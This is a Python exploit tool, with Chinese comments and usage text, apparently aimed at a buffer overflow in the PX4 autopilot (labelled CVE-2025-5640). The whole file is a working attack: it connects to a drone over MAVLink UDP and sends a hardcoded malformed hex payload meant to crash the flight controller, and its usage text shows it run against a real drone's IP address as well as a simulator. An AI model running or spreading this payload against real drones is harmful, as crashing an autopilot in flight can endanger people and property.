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import argparse
import binascii
from pymavlink import mavutil
import sys

# 漏洞利用载荷(格式错误的MAVLink十六进制数据)
hex_payload = (
    "fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352"
    "c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b78"
    "12731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6"
)

def connect_to_px4(ip, port, timeout, verbose=False):
    try:
        if verbose:
            print(f"[*] 连接到PX4 udp:{ip}:{port} ...")
        master = mavutil.mavlink_connection(f"udp:{ip}:{port}")
        master.wait_heartbeat(timeout=timeout)
        if verbose:
            print("[+] 收到PX4心跳信号。连接正常。")
        return master
    except Exception as e:
        print(f"[!] 连接PX4时出错: {e}")
        sys.exit(1)

def send_dos_packet(master, verbose=False):
    try:
        payload = binascii.unhexlify(hex_payload)
        master.write(payload)
        print("[+] 漏洞利用数据包已发送。监控PX4是否崩溃。")
    except Exception as e:
        print(f"[!] 发送载荷失败: {e}")
        sys.exit(1)

def main():
    usage = """
    PX4漏洞利用工具 - CVE-2025-5640
    =================================
    通过MAVLink利用PX4自动驾驶仪中的缓冲区溢出漏洞。

    用法：
        python3 px4_exploit_tool.py [选项]

    示例：
        # 对默认PX4 SITL运行DoS攻击
        python3 px4_exploit_tool.py --mode dos

        # 测试与真实无人机的连接性
        python3 px4_exploit_tool.py --mode check --ip 192.168.10.10 --port 14550

    选项：
        --ip        目标IP地址(默认: 127.0.0.1)
        --port      目标UDP端口(默认: 14540)
        --mode      操作模式: dos(默认), check
        --timeout   心跳超时时间(秒)(默认: 5)
        --verbose   启用详细输出
    """
    parser = argparse.ArgumentParser(
        description="PX4 MAVLink DoS漏洞利用工具 (CVE-2025-5640) by @banyamer_security",
        epilog=usage,
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument("--ip", default="127.0.0.1", help="目标IP地址(默认: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=14540, help="目标UDP端口(默认: 14540)")
    parser.add_argument("--timeout", type=int, default=5, help="心跳超时时间(秒)(默认: 5)")
    parser.add_argument("--mode", choices=["dos", "check"], default="dos", help="模式: dos(默认)或检查连接")
    parser.add_argument("--verbose", action="store_true", help="启用详细输出")

    args = parser.parse_args()

    master = connect_to_px4(args.ip, args.port, args.timeout, args.verbose)

    if args.mode == "check":
        print("[*] PX4运行正常。连接测试通过。")
    elif args.mode == "dos":
        send_dos_packet(master, args.verbose)


if __name__ == "__main__":
    main()